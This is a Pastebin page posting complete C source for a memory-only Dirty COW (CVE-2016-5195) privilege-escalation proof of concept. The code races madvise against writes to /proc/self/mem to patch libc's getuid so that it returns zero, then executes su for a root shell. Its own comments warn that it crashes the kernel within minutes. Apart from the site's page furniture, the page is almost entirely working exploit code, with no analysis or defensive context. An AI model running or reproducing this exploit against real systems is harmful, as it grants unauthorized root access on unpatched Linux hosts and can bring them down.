SHARE
TWEET

Untitled

a guest Oct 27th, 2016 147 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * CVE-2016-5195 dirtypoc
  3.  *
  4.  * This PoC is memory only and doesn't write anything on the filesystem.
  5.  * /!\ Beware, it triggers a kernel crash a few minutes.
  6.  *
  7.  * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
  8.  */
  9.  
  10. #define _GNU_SOURCE
  11. #include <err.h>
  12. #include <dlfcn.h>
  13. #include <stdio.h>
  14. #include <fcntl.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <unistd.h>
  18. #include <limits.h>
  19. #include <pthread.h>
  20. #include <stdbool.h>
  21. #include <sys/mman.h>
  22. #include <sys/stat.h>
  23. #include <sys/user.h>
  24. #include <sys/wait.h>
  25. #include <sys/types.h>
  26.  
  27.  
  28. #define SHELLCODE   "\x31\xc0\xc3"
  29. #define SPACE_SIZE  256
  30. #define LIBC_PATH   "/lib/x86_64-linux-gnu/libc.so.6"
  31. #define LOOP        0x1000000
  32.  
  33. #ifndef PAGE_SIZE
  34. #define PAGE_SIZE 4096
  35. #endif
  36.  
  37. struct mem_arg  {
  38.     struct stat st;
  39.     off_t offset;
  40.     unsigned long patch_addr;
  41.     unsigned char *patch;
  42.     unsigned char *unpatch;
  43.     size_t patch_size;
  44.     bool do_patch;
  45.     void *map;
  46. };
  47.  
  48.  
  49. static int check(bool do_patch, const char *thread_name)
  50. {
  51.     uid_t uid;
  52.  
  53.     uid = getuid();
  54.  
  55.     if (do_patch) {
  56.         if (uid == 0) {
  57.             printf("[*] patched (%s)\n", thread_name);
  58.             return 1;
  59.         }
  60.     } else {
  61.         if (uid != 0) {
  62.             printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
  63.             return 1;
  64.         }
  65.     }
  66.  
  67.     return 0;
  68. }
  69.  
  70.  
  71. static void *madviseThread(void *arg)
  72. {
  73.     struct mem_arg *mem_arg;
  74.     size_t size;
  75.     void *addr;
  76.     int i, c = 0;
  77.  
  78.     mem_arg = (struct mem_arg *)arg;
  79.     addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
  80.     size = mem_arg->offset - (unsigned long)addr;
  81.  
  82.     for(i = 0; i < LOOP; i++) {
  83.         c += madvise(addr, size, MADV_DONTNEED);
  84.  
  85.         if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
  86.             break;
  87.     }
  88.  
  89.     if (c == 0x1337)
  90.         printf("[*] madvise = %d\n", c);
  91.  
  92.     return NULL;
  93. }
  94.  
  95. static void *procselfmemThread(void *arg)
  96. {
  97.     struct mem_arg *mem_arg;
  98.     int fd, i, c = 0;
  99.     unsigned char *p;
  100.  
  101.     mem_arg = (struct mem_arg *)arg;
  102.     p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
  103.  
  104.     fd = open("/proc/self/mem", O_RDWR);
  105.     if (fd == -1)
  106.         err(1, "open(\"/proc/self/mem\"");
  107.  
  108.     for (i = 0; i < LOOP; i++) {
  109.         lseek(fd, mem_arg->offset, SEEK_SET);
  110.         c += write(fd, p, mem_arg->patch_size);
  111.  
  112.         if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
  113.             break;
  114.     }
  115.  
  116.     if (c == 0x1337)
  117.         printf("[*] /proc/self/mem %d\n", c);
  118.  
  119.     close(fd);
  120.  
  121.     return NULL;
  122. }
  123.  
  124. static int get_range(unsigned long *start, unsigned long *end)
  125. {
  126.     char line[4096];
  127.     char filename[PATH_MAX];
  128.     char flags[32];
  129.     FILE *fp;
  130.     int ret;
  131.  
  132.     ret = -1;
  133.  
  134.     fp = fopen("/proc/self/maps", "r");
  135.     if (fp == NULL)
  136.         err(1, "fopen(\"/proc/self/maps\")");
  137.  
  138.     while (fgets(line, sizeof(line), fp) != NULL) {
  139.         sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
  140.  
  141.         if (strstr(flags, "r-xp") == NULL)
  142.             continue;
  143.  
  144.         if (strstr(filename, "/libc-") == NULL)
  145.             continue;
  146.         //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
  147.         ret = 0;
  148.         break;
  149.     }
  150.  
  151.     fclose(fp);
  152.  
  153.     return ret;
  154. }
  155.  
  156. static void getroot(void)
  157. {
  158.     execlp("su", "su", NULL);
  159.     err(1, "failed to execute \"su\"");
  160. }
  161.  
  162. static void exploit(struct mem_arg *mem_arg, bool do_patch)
  163. {
  164.     pthread_t pth1, pth2;
  165.  
  166.     printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
  167.  
  168.     mem_arg->do_patch = do_patch;
  169.  
  170.     pthread_create(&pth1, NULL, madviseThread, mem_arg);
  171.     pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
  172.  
  173.     pthread_join(pth1, NULL);
  174.     pthread_join(pth2, NULL);
  175. }
  176.  
  177. static unsigned long get_getuid_addr(void)
  178. {
  179.     unsigned long addr;
  180.     void *handle;
  181.     char *error;
  182.  
  183.     dlerror();
  184.  
  185.     handle = dlopen("libc.so.6", RTLD_LAZY);
  186.     if (handle == NULL) {
  187.         fprintf(stderr, "%s\n", dlerror());
  188.         exit(EXIT_FAILURE);
  189.     }
  190.  
  191.     addr = (unsigned long)dlsym(handle, "getuid");
  192.     error = dlerror();
  193.     if (error != NULL) {
  194.         fprintf(stderr, "%s\n", error);
  195.         exit(EXIT_FAILURE);
  196.     }
  197.  
  198.     dlclose(handle);
  199.  
  200.     return addr;
  201. }
  202.  
  203. int main(int argc, char *argv[])
  204. {
  205.     unsigned long start, end;
  206.     unsigned long getuid_addr;
  207.     struct mem_arg mem_arg;
  208.     struct stat st;
  209.     pid_t pid;
  210.     int fd;
  211.  
  212.     if (get_range(&start, &end) != 0)
  213.         errx(1, "failed to get range");
  214.  
  215.     printf("[*] range: %lx-%lx]\n", start, end);
  216.  
  217.     getuid_addr = get_getuid_addr();
  218.     printf("[*] getuid = %lx\n", getuid_addr);
  219.  
  220.     mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
  221.     if (mem_arg.patch == NULL)
  222.         err(1, "malloc");
  223.  
  224.     mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
  225.     if (mem_arg.unpatch == NULL)
  226.         err(1, "malloc");
  227.  
  228.     memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
  229.     memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
  230.     mem_arg.patch_size = sizeof(SHELLCODE)-1;
  231.     mem_arg.do_patch = true;
  232.  
  233.     fd = open(LIBC_PATH, O_RDONLY);
  234.     if (fd == -1)
  235.         err(1, "open(\"" LIBC_PATH "\")");
  236.     if (fstat(fd, &st) == -1)
  237.         err(1, "fstat");
  238.  
  239.     mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  240.     if (mem_arg.map == MAP_FAILED)
  241.         err(1, "mmap");
  242.     close(fd);
  243.  
  244.     printf("[*] mmap %p\n", mem_arg.map);
  245.  
  246.     mem_arg.st = st;
  247.     mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
  248.  
  249.     exploit(&mem_arg, true);
  250.  
  251.     pid = fork();
  252.     if (pid == -1)
  253.         err(1, "fork");
  254.  
  255.     if (pid == 0) {
  256.         getroot();
  257.     } else {
  258.         sleep(2);
  259.         exploit(&mem_arg, false);
  260.         if (waitpid(pid, NULL, 0) == -1)
  261.             warn("waitpid");
  262.     }
  263.  
  264.     return 0;
  265. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top